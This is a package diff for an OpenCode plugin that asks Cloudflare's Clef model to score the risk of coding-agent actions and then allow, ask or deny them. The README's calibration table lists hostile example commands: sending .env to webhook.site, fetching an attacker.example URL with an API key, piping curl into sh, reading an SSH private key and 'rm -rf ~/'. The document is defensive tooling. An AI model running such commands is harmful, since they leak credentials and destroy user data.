@mattietk/opencode-clef-guard 0.0.0-stage → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Matt Taylor
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,3 +1,139 @@
1
- # Temporary Holding Version
1
+ # @mattietk/opencode-clef-guard
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ An [OpenCode](https://opencode.ai) plugin that asks Cloudflare's [Clef](https://developers.cloudflare.com/workers-ai/models/clef/) decision model how risky each agent action is, and only interrupts you when the risk crosses a threshold you set.
4
+
5
+ Hand-written allow and ask lists for shell commands are hard to keep complete. `git push` asks, but `git -C . push` doesn't; `rm *` asks, but `find . -delete` doesn't. This plugin replaces those lists with a single judgement per action: Clef scores it from 0 (harmless) to 1 (critical), and the plugin turns that score into `allow`, `ask`, or `deny`.
6
+
7
+ ## How it decides
8
+
9
+ The plugin registers an OpenCode [permission `evaluate` hook](https://opencode.ai/docs/build/plugins/server#permissions). For each judged action (`shell`, `edit`, `webfetch`, and `external_directory` by default) it sends the action, its resources, and the working directory to Clef, and asks two questions:
10
+
11
+ - **risk**: a score on a five-level scale, from None (read-only) through Low, Moderate, and High to Critical (could compromise the machine, accounts, or secrets).
12
+ - **category**: the main kind of risk, such as data loss, secrets, remote code, or deploy. This is only used to explain the prompt.
13
+
14
+ Clef returns a probability-weighted level, which the plugin divides by the top level to get a risk between 0 and 1. Then:
15
+
16
+ | Risk | Effect |
17
+ | ------------------------------------ | --------------------------------------------------------- |
18
+ | below `askThreshold` | `allow`, even if your configured rules say `ask` |
19
+ | at or above `askThreshold` | `ask`, with Clef's rating shown in the prompt |
20
+ | at or above `denyThreshold` (if set) | `deny`, and the reason is returned to the model |
21
+ | Clef unavailable or misconfigured | `ask`, with the reason shown in the prompt (fails closed) |
22
+
23
+ Configured `deny` rules and [policies](https://opencode.ai/docs/policies) are final: OpenCode doesn't call the hook for them, so they always win. Use them for the few things that must never run.
24
+
25
+ When you choose **Allow always** on a prompt this plugin raised, it records the pattern OpenCode proposes (for example `git push *`) for the current project. Matching actions are then allowed without asking again, unless they reach the deny threshold.
26
+
27
+ ## Install
28
+
29
+ Add the plugin to `~/.config/opencode/opencode.jsonc` (or your project's `opencode.jsonc`):
30
+
31
+ ```jsonc
32
+ {
33
+ "$schema": "https://opencode.ai/config.json",
34
+ "plugins": [
35
+ {
36
+ "package": "@mattietk/opencode-clef-guard",
37
+ "options": {
38
+ "askThreshold": 0.4,
39
+ "denyThreshold": 0.85,
40
+ },
41
+ },
42
+ ],
43
+ }
44
+ ```
45
+
46
+ Or install via the CLI:
47
+
48
+ ```sh
49
+ opencode plugin add @mattietk/opencode-clef-guard
50
+ ```
51
+
52
+ Create a Cloudflare API token from the **Workers AI** template and expose it to OpenCode:
53
+
54
+ ```sh
55
+ export CLOUDFLARE_ACCOUNT_ID=<account id>
56
+ export CLOUDFLARE_API_TOKEN=<token>
57
+ opencode service restart
58
+ ```
59
+
60
+ The plugin runs inside the OpenCode background service, so the variables must be set in the environment that service starts from. If they are missing, every judged action asks with `"CLOUDFLARE_ACCOUNT_ID and CLOUDFLARE_API_TOKEN are not set"`, which tells you the service didn't see them.
61
+
62
+ ## Options
63
+
64
+ | Option | Default | Description |
65
+ | --------------- | ----------------------------------------------------- | ------------------------------------------------------------------------------------ |
66
+ | `askThreshold` | `0.4` | Risk (0–1) at or above which you are asked |
67
+ | `denyThreshold` | unset | Risk (0–1) at or above which the action is denied. Must be ≥ `askThreshold` |
68
+ | `actions` | `["shell", "edit", "webfetch", "external_directory"]` | Actions to judge. An array of names, or an object of per-action settings (see below) |
69
+ | `model` | `"clef"` | `"clef"` (27B, more accurate) or `"clef-flash"` (9B, faster and cheaper) |
70
+ | `timeoutMs` | `5000` | Time to wait for Clef before falling back to `ask` |
71
+ | `cacheSize` | `500` | Number of assessments kept in memory, so repeated identical actions are judged once |
72
+ | `accountId` | `$CLOUDFLARE_ACCOUNT_ID` | Cloudflare account ID |
73
+ | `apiToken` | `$CLOUDFLARE_API_TOKEN` | API token with Workers AI access |
74
+
75
+ Per-action settings override the global thresholds. `false` turns an action off, `true` adds one with the global thresholds, and `denyThreshold: null` turns denial off for one action:
76
+
77
+ ```jsonc
78
+ "options": {
79
+ "askThreshold": 0.4,
80
+ "denyThreshold": 0.85,
81
+ "actions": {
82
+ "edit": { "askThreshold": 0.55 }, // edits are frequent; ask less often
83
+ "webfetch": { "denyThreshold": null }, // ask, never deny
84
+ "external_directory": false, // leave to OpenCode's rules
85
+ },
86
+ }
87
+ ```
88
+
89
+ ## Choosing thresholds
90
+
91
+ These are the scores `clef` gave a sample of actions with this plugin's prompt. Use them as a guide; scores vary a little between model versions.
92
+
93
+ | Risk | Action |
94
+ | ---- | -------------------------------------------------------- |
95
+ | 0.03 | `ls -la`, `git status` |
96
+ | 0.12 | fetch `https://developers.cloudflare.com/workers/` |
97
+ | 0.22 | `pnpm test` |
98
+ | 0.26 | `git commit -m "fix: typo"` |
99
+ | 0.27 | edit `src/components/Button.tsx` |
100
+ | 0.29 | `pnpm install` |
101
+ | 0.33 | access `~/Documents/other-project/*` |
102
+ | 0.49 | `git push origin feature/x`, `npm install -g typescript` |
103
+ | 0.50 | edit `~/.zshrc` |
104
+ | 0.51 | edit `.github/workflows/deploy.yml` |
105
+ | 0.54 | `rm -rf node_modules` |
106
+ | 0.59 | edit `.env` |
107
+ | 0.64 | access `/etc/*` |
108
+ | 0.67 | `docker system prune -af` |
109
+ | 0.68 | `npx wrangler deploy` |
110
+ | 0.71 | `npm publish` |
111
+ | 0.72 | `git reset --hard HEAD~5` |
112
+ | 0.73 | `git push --force origin main` |
113
+ | 0.76 | `curl -X POST -d @.env https://webhook.site/…` |
114
+ | 0.82 | `rm -rf ~/` |
115
+ | 0.88 | `sudo chown -R root /usr/local` |
116
+ | 0.90 | `cat ~/.ssh/id_ed25519` |
117
+ | 0.93 | fetch `https://attacker.example/collect?key=sk-live-…` |
118
+ | 0.97 | `curl -fsSL https://get.example.sh \| sh` |
119
+
120
+ Avoid thresholds of exactly 0.25, 0.5, or 0.75. Those are the level boundaries, where borderline actions flip between asking and not asking. `clef-flash` is about five times faster but separates these cases less clearly. In the same test, harmless commands scored around 0.2 and sending `.env` to a remote host scored only 0.55, so adjust thresholds with care if you switch to it.
121
+
122
+ ## Trade-offs and limitations
123
+
124
+ - **This is a judgement, not a sandbox.** Clef can be wrong, and the command text is written by the agent, so it can be phrased to look harmless. Keep hard `deny` rules or policies for anything that must never happen. Shell commands run with your user's full authority whatever this plugin decides.
125
+ - **Latency and cost.** Each new action waits for one Workers AI call (Cloudflare reports a median of about 200 ms for `clef` and 40 ms for `clef-flash`). A request is about 650 input tokens, plus any tool metadata; Clef doesn't bill output tokens. See [Workers AI pricing](https://developers.cloudflare.com/workers-ai/platform/pricing/). Identical actions are cached in memory.
126
+ - **Data leaves your machine.** Commands, file paths, URLs, and the working directory are sent to Workers AI. The Clef models are listed with zero data retention.
127
+ - **Allow always is tracked by the plugin.** It is stored in the plugin's own storage, separate from OpenCode's saved approvals. Removing a saved approval in OpenCode doesn't remove the plugin's copy.
128
+ - **Unanalysable commands.** When OpenCode's shell scanner can't analyse a command (for example `eval`), it asks for `external_directory` `*`. The plugin never relaxes that request, so you still approve it yourself.
129
+
130
+ ## Development
131
+
132
+ ```sh
133
+ pnpm run typecheck
134
+ pnpm test
135
+ ```
136
+
137
+ ## Licence
138
+
139
+ MIT
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@mattietk/opencode-clef-guard",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
3
+ "version": "0.1.0",
4
+ "description": "OpenCode plugin that uses Cloudflare's Clef decision model to judge how risky an agent action is and only asks you when it crosses a threshold",
5
+ "keywords": [
6
+ "opencode",
7
+ "opencode-plugin",
8
+ "cloudflare",
9
+ "workers-ai",
10
+ "clef",
11
+ "permissions"
12
+ ],
13
+ "license": "MIT",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+https://github.com/MattieTK/opencode-plugins.git",
17
+ "directory": "packages/clef-guard"
18
+ },
19
+ "homepage": "https://github.com/MattieTK/opencode-plugins/tree/main/packages/clef-guard#readme",
20
+ "bugs": {
21
+ "url": "https://github.com/MattieTK/opencode-plugins/issues"
22
+ },
23
+ "publishConfig": {
24
+ "access": "public"
25
+ },
26
+ "type": "module",
27
+ "exports": {
28
+ ".": "./src/index.ts"
29
+ },
30
+ "files": [
31
+ "src",
32
+ "!src/**/*.test.ts",
33
+ "README.md"
34
+ ],
35
+ "dependencies": {
36
+ "@opencode/plugin": "^2.4.2"
37
+ },
38
+ "devDependencies": {
39
+ "@types/node": "^26.6.11",
40
+ "typescript": "^7.0.2",
41
+ "vitest": "^5.1.2"
42
+ },
43
+ "scripts": {
44
+ "typecheck": "tsc --noEmit",
45
+ "test": "vitest run"
46
+ }
6
47
  }
@@ -0,0 +1,45 @@
1
+ import { allCovered } from "./pattern.ts"
2
+
3
+ type Json = unknown
4
+
5
+ /** The subset of the plugin's `ctx.storage` this module needs. */
6
+ export interface KeyValueStore {
7
+ readonly get: (key: string) => Promise<Json | undefined>
8
+ readonly set: (key: string, value: string[]) => Promise<void>
9
+ }
10
+
11
+ export interface ApprovalStore {
12
+ readonly isApproved: (action: string, resources: ReadonlyArray<string>) => Promise<boolean>
13
+ readonly approve: (action: string, patterns: ReadonlyArray<string>) => Promise<void>
14
+ }
15
+
16
+ const asStrings = (value: Json | undefined): string[] =>
17
+ Array.isArray(value) ? value.filter((item): item is string => typeof item === "string") : []
18
+
19
+ /**
20
+ * Remembers "Allow always" replies to prompts this plugin raised, scoped to a project like
21
+ * OpenCode's own saved approvals. OpenCode's saved rule turns the next check into `allow`, but
22
+ * the evaluate hook still runs, so without this the same command would be escalated again.
23
+ */
24
+ export const createApprovalStore = (storage: KeyValueStore, projectID: string): ApprovalStore => {
25
+ const memory = new Map<string, Promise<string[]>>()
26
+ const key = (action: string) => `approvals/${projectID}/${action}`
27
+
28
+ const load = (action: string) => {
29
+ const cached = memory.get(action)
30
+ if (cached) return cached
31
+ const loaded = storage.get(key(action)).then(asStrings, () => [])
32
+ memory.set(action, loaded)
33
+ return loaded
34
+ }
35
+
36
+ return {
37
+ isApproved: async (action, resources) => allCovered(await load(action), resources),
38
+ approve: async (action, patterns) => {
39
+ if (patterns.length === 0) return
40
+ const next = [...new Set([...(await load(action)), ...patterns])]
41
+ memory.set(action, Promise.resolve(next))
42
+ await storage.set(key(action), next)
43
+ },
44
+ }
45
+ }
package/src/cache.ts ADDED
@@ -0,0 +1,27 @@
1
+ /**
2
+ * Least-recently-used memo for async results. Concurrent calls for the same key share one
3
+ * promise, and rejected promises are evicted so failures are retried on the next call.
4
+ */
5
+ export const createMemo = <Value>(maxEntries: number) => {
6
+ const entries = new Map<string, Promise<Value>>()
7
+
8
+ return (key: string, load: () => Promise<Value>): Promise<Value> => {
9
+ const existing = entries.get(key)
10
+ if (existing) {
11
+ entries.delete(key)
12
+ entries.set(key, existing)
13
+ return existing
14
+ }
15
+ const pending = load()
16
+ entries.set(key, pending)
17
+ pending.catch(() => {
18
+ if (entries.get(key) === pending) entries.delete(key)
19
+ })
20
+ while (entries.size > maxEntries) {
21
+ const oldest = entries.keys().next().value
22
+ if (oldest === undefined) break
23
+ entries.delete(oldest)
24
+ }
25
+ return pending
26
+ }
27
+ }
package/src/clef.ts ADDED
@@ -0,0 +1,142 @@
1
+ import type { ClefModel, Credentials } from "./config.ts"
2
+
3
+ /** Risk levels, lowest first. Clef returns a probability-weighted position on this scale. */
4
+ export const RISK_LEVELS = [
5
+ "None: read-only or inspection with no side effects (listing or reading files, git status, git log, git diff, running a linter without fixing)",
6
+ "Low: local changes inside the project that are easy to undo or regenerate (editing source files, running tests or builds, installing dependencies from a lockfile, git add, git commit)",
7
+ "Moderate: changes that reach outside the project or are tedious to undo (global installs, editing dotfiles or configuration outside the project, sending data to a remote service, pushing to a feature branch)",
8
+ "High: destructive or hard to reverse (recursive deletes, force pushes, discarding or rewriting git history, dropping databases, publishing packages, deploying to production, changing file permissions or ownership)",
9
+ "Critical: could compromise the machine, the user's accounts or their secrets (sudo or privilege escalation, piping a downloaded script into a shell, reading or sending credentials, disabling security controls, wiping disks)",
10
+ ] as const
11
+
12
+ export const RISK_LABELS = ["None", "Low", "Moderate", "High", "Critical"] as const
13
+
14
+ export const CATEGORIES = {
15
+ none: "No meaningful risk",
16
+ data_loss: "Deletes or overwrites data that may not be recoverable",
17
+ version_control: "Rewrites, discards or publishes version control history",
18
+ secrets: "Reads, exposes or sends credentials, keys or other secrets",
19
+ remote_code: "Downloads and runs code from the internet",
20
+ system: "Changes the operating system, global tools, permissions or files outside the project",
21
+ network: "Sends data to, or changes state on, a remote service",
22
+ deploy: "Publishes, releases or deploys software",
23
+ } as const
24
+
25
+ export type Category = keyof typeof CATEGORIES
26
+
27
+ const ACTION_DESCRIPTIONS: Readonly<Record<string, string>> = {
28
+ shell: "Run shell commands. Each resource is one command extracted from the requested command line.",
29
+ edit: "Create, overwrite or patch files. Each resource is a file path.",
30
+ webfetch: "Fetch a URL over HTTP. Each resource is a URL; data in the URL is sent to that host.",
31
+ external_directory: "Access a directory outside the current project. Each resource is a directory boundary.",
32
+ }
33
+
34
+ export interface PermissionRequest {
35
+ readonly action: string
36
+ readonly resources: ReadonlyArray<string>
37
+ readonly metadata?: Record<string, unknown>
38
+ readonly directory: string
39
+ }
40
+
41
+ export interface Assessment {
42
+ /** Normalised risk between 0 and 1. */
43
+ readonly risk: number
44
+ readonly label: (typeof RISK_LABELS)[number]
45
+ readonly category: Category
46
+ readonly categoryProbability: number
47
+ }
48
+
49
+ const MAX_METADATA_CHARS = 2_000
50
+
51
+ const compactMetadata = (metadata: Record<string, unknown> | undefined): string | undefined => {
52
+ if (!metadata || Object.keys(metadata).length === 0) return undefined
53
+ try {
54
+ const json = JSON.stringify(metadata)
55
+ return json.length > MAX_METADATA_CHARS ? `${json.slice(0, MAX_METADATA_CHARS)}…` : json
56
+ } catch {
57
+ return undefined
58
+ }
59
+ }
60
+
61
+ export const buildRequest = (request: PermissionRequest, model: ClefModel) => {
62
+ const metadata = compactMetadata(request.metadata)
63
+ return {
64
+ model,
65
+ state: {
66
+ situation: "An AI coding agent is asking for permission to act on a developer's computer.",
67
+ action: request.action,
68
+ actionDescription: ACTION_DESCRIPTIONS[request.action] ?? "A tool permission requested by the agent.",
69
+ resources: request.resources,
70
+ workingDirectory: request.directory,
71
+ ...(metadata ? { metadata } : {}),
72
+ },
73
+ questions: {
74
+ risk: {
75
+ type: "score",
76
+ instructions:
77
+ "How dangerous would it be to let the agent do this without asking the developer? Judge the most dangerous resource.",
78
+ criteria: [...RISK_LEVELS],
79
+ },
80
+ category: {
81
+ type: "choice",
82
+ instructions: "What is the main risk of this action?",
83
+ criteria: { ...CATEGORIES },
84
+ },
85
+ },
86
+ }
87
+ }
88
+
89
+ const isRecord = (value: unknown): value is Record<string, unknown> =>
90
+ typeof value === "object" && value !== null && !Array.isArray(value)
91
+
92
+ const clamp = (value: number) => Math.min(1, Math.max(0, value))
93
+
94
+ /** Accepts the REST envelope (`{ result: … }`) or the bare model output. */
95
+ export const parseResponse = (body: unknown): Assessment => {
96
+ const output = isRecord(body) && isRecord(body.result) ? body.result : body
97
+ const answers = isRecord(output) && isRecord(output.answers) ? output.answers : undefined
98
+ const risk = answers && isRecord(answers.risk) ? answers.risk : undefined
99
+ const category = answers && isRecord(answers.category) ? answers.category : undefined
100
+
101
+ if (!risk || typeof risk.score !== "number" || !Number.isFinite(risk.score)) {
102
+ throw new Error("Clef response is missing a numeric risk score")
103
+ }
104
+
105
+ const topLevel = RISK_LEVELS.length - 1
106
+ const normalised = clamp(risk.score / topLevel)
107
+ const label = RISK_LABELS[Math.round(normalised * topLevel)] ?? "Critical"
108
+ const choice = category && typeof category.choice === "string" ? category.choice : "none"
109
+ const known = (Object.keys(CATEGORIES) as Category[]).find((key) => key === choice) ?? "none"
110
+ const probabilities = category && isRecord(category.probabilities) ? category.probabilities : {}
111
+ const categoryProbability = typeof probabilities[known] === "number" ? (probabilities[known] as number) : 0
112
+
113
+ return { risk: normalised, label, category: known, categoryProbability }
114
+ }
115
+
116
+ export interface ClassifyOptions {
117
+ readonly credentials: Credentials
118
+ readonly model: ClefModel
119
+ readonly timeoutMs: number
120
+ readonly fetch?: typeof globalThis.fetch
121
+ }
122
+
123
+ export const endpoint = (accountId: string, model: ClefModel) =>
124
+ `https://api.cloudflare.com/client/v4/accounts/${encodeURIComponent(accountId)}/ai/run/@cf/cloudflare/${model}`
125
+
126
+ export const classify = async (request: PermissionRequest, options: ClassifyOptions): Promise<Assessment> => {
127
+ const fetchFn = options.fetch ?? globalThis.fetch
128
+ const response = await fetchFn(endpoint(options.credentials.accountId, options.model), {
129
+ method: "POST",
130
+ headers: {
131
+ Authorization: `Bearer ${options.credentials.apiToken}`,
132
+ "Content-Type": "application/json",
133
+ },
134
+ body: JSON.stringify(buildRequest(request, options.model)),
135
+ signal: AbortSignal.timeout(options.timeoutMs),
136
+ })
137
+ if (!response.ok) {
138
+ const detail = await response.text().catch(() => "")
139
+ throw new Error(`Workers AI returned HTTP ${response.status}${detail ? `: ${detail.slice(0, 200)}` : ""}`)
140
+ }
141
+ return parseResponse(await response.json())
142
+ }
package/src/config.ts ADDED
@@ -0,0 +1,134 @@
1
+ export type ClefModel = "clef" | "clef-flash"
2
+
3
+ export interface Thresholds {
4
+ /** Normalised risk (0–1) at or above which the user is asked. */
5
+ readonly askThreshold: number
6
+ /** Normalised risk (0–1) at or above which the action is denied. Undefined disables denial. */
7
+ readonly denyThreshold?: number
8
+ }
9
+
10
+ export interface Credentials {
11
+ readonly accountId: string
12
+ readonly apiToken: string
13
+ }
14
+
15
+ export interface Config {
16
+ /** Undefined when credentials are missing; every judged action then falls back to `ask`. */
17
+ readonly credentials?: Credentials
18
+ readonly model: ClefModel
19
+ readonly timeoutMs: number
20
+ readonly cacheSize: number
21
+ /** Thresholds per permission action. Actions not listed here are left to OpenCode's rules. */
22
+ readonly actions: Readonly<Record<string, Thresholds>>
23
+ }
24
+
25
+ export type ConfigResult =
26
+ { readonly ok: true; readonly config: Config } | { readonly ok: false; readonly error: string }
27
+
28
+ export const DEFAULT_ACTIONS = ["shell", "edit", "webfetch", "external_directory"] as const
29
+
30
+ // 0.4 sits between Low (0.25) and Moderate (0.5) on the risk scale. A threshold exactly on a
31
+ // level makes borderline actions flip between asking and not asking.
32
+ const DEFAULTS = {
33
+ model: "clef",
34
+ askThreshold: 0.4,
35
+ timeoutMs: 5_000,
36
+ cacheSize: 500,
37
+ } as const
38
+
39
+ type Options = Readonly<Record<string, unknown>>
40
+ type Env = Readonly<Record<string, string | undefined>>
41
+
42
+ const isRecord = (value: unknown): value is Record<string, unknown> =>
43
+ typeof value === "object" && value !== null && !Array.isArray(value)
44
+
45
+ const nonEmpty = (value: unknown): string | undefined =>
46
+ typeof value === "string" && value.trim() !== "" ? value.trim() : undefined
47
+
48
+ const readThreshold = (value: unknown, name: string): number | undefined => {
49
+ if (value === undefined || value === null) return undefined
50
+ if (typeof value !== "number" || !Number.isFinite(value) || value < 0 || value > 1) {
51
+ throw new Error(`${name} must be a number between 0 and 1`)
52
+ }
53
+ return value
54
+ }
55
+
56
+ const readPositiveInteger = (value: unknown, name: string, fallback: number): number => {
57
+ if (value === undefined) return fallback
58
+ if (typeof value !== "number" || !Number.isInteger(value) || value <= 0) {
59
+ throw new Error(`${name} must be a positive integer`)
60
+ }
61
+ return value
62
+ }
63
+
64
+ const readModel = (value: unknown): ClefModel => {
65
+ if (value === undefined) return DEFAULTS.model
66
+ if (value === "clef" || value === "clef-flash") return value
67
+ throw new Error(`model must be "clef" or "clef-flash"`)
68
+ }
69
+
70
+ const resolveThresholds = (value: unknown, name: string, base: Thresholds): Thresholds => {
71
+ const overrides = isRecord(value) ? value : {}
72
+ const askThreshold = readThreshold(overrides.askThreshold, `${name}.askThreshold`) ?? base.askThreshold
73
+ // `null` lets a single action turn off a globally configured deny threshold.
74
+ const denyThreshold =
75
+ overrides.denyThreshold === null
76
+ ? undefined
77
+ : (readThreshold(overrides.denyThreshold, `${name}.denyThreshold`) ?? base.denyThreshold)
78
+ if (denyThreshold !== undefined && denyThreshold < askThreshold) {
79
+ throw new Error(`${name}.denyThreshold must be greater than or equal to askThreshold`)
80
+ }
81
+ return { askThreshold, denyThreshold }
82
+ }
83
+
84
+ /**
85
+ * `actions` accepts an array of action names, or an object mapping each action to `true`,
86
+ * `false` (disable), or per-action threshold overrides.
87
+ */
88
+ const resolveActions = (value: unknown, base: Thresholds): Record<string, Thresholds> => {
89
+ if (value === undefined) {
90
+ return Object.fromEntries(DEFAULT_ACTIONS.map((action) => [action, base]))
91
+ }
92
+ if (Array.isArray(value)) {
93
+ if (!value.every((action) => typeof action === "string" && action !== "")) {
94
+ throw new Error("actions must contain non-empty action names")
95
+ }
96
+ return Object.fromEntries(value.map((action) => [action, base]))
97
+ }
98
+ if (isRecord(value)) {
99
+ const defaults: Record<string, unknown> = Object.fromEntries(DEFAULT_ACTIONS.map((action) => [action, true]))
100
+ return Object.fromEntries(
101
+ Object.entries({ ...defaults, ...value })
102
+ .filter(([, setting]) => setting !== false)
103
+ .map(([action, setting]) => [action, resolveThresholds(setting, `actions.${action}`, base)]),
104
+ )
105
+ }
106
+ throw new Error("actions must be an array of action names or an object")
107
+ }
108
+
109
+ export const parseConfig = (options: Options, env: Env): ConfigResult => {
110
+ try {
111
+ const base = resolveThresholds(
112
+ {
113
+ askThreshold: options.askThreshold ?? DEFAULTS.askThreshold,
114
+ denyThreshold: options.denyThreshold,
115
+ },
116
+ "options",
117
+ { askThreshold: DEFAULTS.askThreshold },
118
+ )
119
+ const accountId = nonEmpty(options.accountId) ?? nonEmpty(env.CLOUDFLARE_ACCOUNT_ID)
120
+ const apiToken = nonEmpty(options.apiToken) ?? nonEmpty(env.CLOUDFLARE_API_TOKEN)
121
+ return {
122
+ ok: true,
123
+ config: {
124
+ credentials: accountId && apiToken ? { accountId, apiToken } : undefined,
125
+ model: readModel(options.model),
126
+ timeoutMs: readPositiveInteger(options.timeoutMs, "timeoutMs", DEFAULTS.timeoutMs),
127
+ cacheSize: readPositiveInteger(options.cacheSize, "cacheSize", DEFAULTS.cacheSize),
128
+ actions: resolveActions(options.actions, base),
129
+ },
130
+ }
131
+ } catch (error) {
132
+ return { ok: false, error: error instanceof Error ? error.message : String(error) }
133
+ }
134
+ }
package/src/decide.ts ADDED
@@ -0,0 +1,53 @@
1
+ import { CATEGORIES, type Assessment } from "./clef.ts"
2
+ import type { Thresholds } from "./config.ts"
3
+
4
+ export type Effect = "allow" | "ask" | "deny"
5
+
6
+ export interface Decision {
7
+ readonly effect: Effect
8
+ readonly message?: string
9
+ }
10
+
11
+ /** Every message the plugin attaches starts with this, so replies to its prompts can be recognised. */
12
+ export const MESSAGE_PREFIX = "Clef guard:"
13
+
14
+ const fixed = (value: number) => value.toFixed(2)
15
+
16
+ const describe = (assessment: Assessment) =>
17
+ assessment.category === "none"
18
+ ? `rated ${assessment.label} risk`
19
+ : `rated ${assessment.label} risk – ${CATEGORIES[assessment.category].toLowerCase()}`
20
+
21
+ export interface DecideInput {
22
+ readonly assessment: Assessment
23
+ readonly thresholds: Thresholds
24
+ /** True when the user previously chose "Allow always" for a matching prompt from this plugin. */
25
+ readonly approved: boolean
26
+ }
27
+
28
+ export const decide = ({ assessment, thresholds, approved }: DecideInput): Decision => {
29
+ const { risk } = assessment
30
+ if (thresholds.denyThreshold !== undefined && risk >= thresholds.denyThreshold) {
31
+ return {
32
+ effect: "deny",
33
+ message: `${MESSAGE_PREFIX} blocked – ${describe(assessment)} (${fixed(risk)} ≥ deny threshold ${fixed(thresholds.denyThreshold)}). If this is intended, ask the user to do it themselves.`,
34
+ }
35
+ }
36
+ if (risk >= thresholds.askThreshold && !approved) {
37
+ return {
38
+ effect: "ask",
39
+ message: `${MESSAGE_PREFIX} ${describe(assessment)} (${fixed(risk)} ≥ ask threshold ${fixed(thresholds.askThreshold)}).`,
40
+ }
41
+ }
42
+ return { effect: "allow" }
43
+ }
44
+
45
+ export const unavailable = (reason: string): Decision => ({
46
+ effect: "ask",
47
+ message: `${MESSAGE_PREFIX} could not assess this action (${reason}), so it needs your approval.`,
48
+ })
49
+
50
+ const RANK: Readonly<Record<Effect, number>> = { allow: 0, ask: 1, deny: 2 }
51
+
52
+ /** Returns the stricter of two effects. */
53
+ export const atLeast = (effect: Effect, floor: Effect): Effect => (RANK[effect] >= RANK[floor] ? effect : floor)
package/src/guard.ts ADDED
@@ -0,0 +1,139 @@
1
+ import type { ApprovalStore } from "./approvals.ts"
2
+ import { createMemo } from "./cache.ts"
3
+ import type { Assessment, PermissionRequest } from "./clef.ts"
4
+ import { DEFAULT_ACTIONS, type ConfigResult, type Thresholds } from "./config.ts"
5
+ import { atLeast, decide, MESSAGE_PREFIX, unavailable, type Effect } from "./decide.ts"
6
+
7
+ /** The mutable fields of OpenCode's `PermissionEvaluation` that the guard reads and writes. */
8
+ export interface Evaluation {
9
+ readonly action: string
10
+ readonly resources: ReadonlyArray<string>
11
+ readonly metadata?: Record<string, unknown>
12
+ effect: Effect
13
+ message?: string
14
+ }
15
+
16
+ export interface GuardDependencies {
17
+ readonly config: ConfigResult
18
+ readonly directory: string
19
+ readonly approvals: ApprovalStore
20
+ readonly classify: (request: PermissionRequest) => Promise<Assessment>
21
+ readonly onError?: (error: unknown) => void
22
+ }
23
+
24
+ const errorMessage = (error: unknown) => {
25
+ if (error instanceof Error && (error.name === "TimeoutError" || error.name === "AbortError")) {
26
+ return "Clef timed out"
27
+ }
28
+ return error instanceof Error ? error.message : String(error)
29
+ }
30
+
31
+ /**
32
+ * OpenCode asks for `external_directory` `*` when its shell scanner cannot analyse a command
33
+ * (for example `eval`). Only the user or an explicit rule should grant that, so the guard never
34
+ * relaxes it below what OpenCode decided.
35
+ */
36
+ const floorFor = (evaluation: Evaluation): Effect =>
37
+ evaluation.action === "external_directory" && evaluation.resources.includes("*") ? evaluation.effect : "allow"
38
+
39
+ const apply = (evaluation: Evaluation, effect: Effect, message: string | undefined) => {
40
+ const final = atLeast(effect, floorFor(evaluation))
41
+ evaluation.effect = final
42
+ if (final !== "allow" && message) evaluation.message = message
43
+ }
44
+
45
+ export const createGuard = ({ config, directory, approvals, classify, onError }: GuardDependencies) => {
46
+ const memo = createMemo<Assessment>(config.ok ? config.config.cacheSize : 1)
47
+
48
+ if (!config.ok) {
49
+ const fallback = unavailable(`invalid plugin options: ${config.error}`)
50
+ const actions = new Set<string>(DEFAULT_ACTIONS)
51
+ return async (evaluation: Evaluation) => {
52
+ if (actions.has(evaluation.action)) apply(evaluation, fallback.effect, fallback.message)
53
+ }
54
+ }
55
+
56
+ const { actions, credentials } = config.config
57
+
58
+ return async (evaluation: Evaluation) => {
59
+ const thresholds: Thresholds | undefined = actions[evaluation.action]
60
+ if (!thresholds || evaluation.resources.length === 0) return
61
+
62
+ if (!credentials) {
63
+ const fallback = unavailable("CLOUDFLARE_ACCOUNT_ID and CLOUDFLARE_API_TOKEN are not set")
64
+ apply(evaluation, fallback.effect, fallback.message)
65
+ return
66
+ }
67
+
68
+ const request: PermissionRequest = {
69
+ action: evaluation.action,
70
+ resources: evaluation.resources,
71
+ metadata: evaluation.metadata,
72
+ directory,
73
+ }
74
+ const key = JSON.stringify([evaluation.action, evaluation.resources])
75
+
76
+ try {
77
+ const [assessment, approved] = await Promise.all([
78
+ memo(key, () => classify(request)),
79
+ approvals.isApproved(evaluation.action, evaluation.resources),
80
+ ])
81
+ const decision = decide({ assessment, thresholds, approved })
82
+ apply(evaluation, decision.effect, decision.message)
83
+ } catch (error) {
84
+ onError?.(error)
85
+ const fallback = unavailable(errorMessage(error))
86
+ apply(evaluation, fallback.effect, fallback.message)
87
+ }
88
+ }
89
+ }
90
+
91
+ interface AskedEvent {
92
+ readonly type: "permission.asked"
93
+ readonly location?: { readonly directory: string }
94
+ readonly data: {
95
+ readonly id: string
96
+ readonly action: string
97
+ readonly resources: ReadonlyArray<string>
98
+ readonly save?: ReadonlyArray<string>
99
+ readonly message?: string
100
+ }
101
+ }
102
+
103
+ interface RepliedEvent {
104
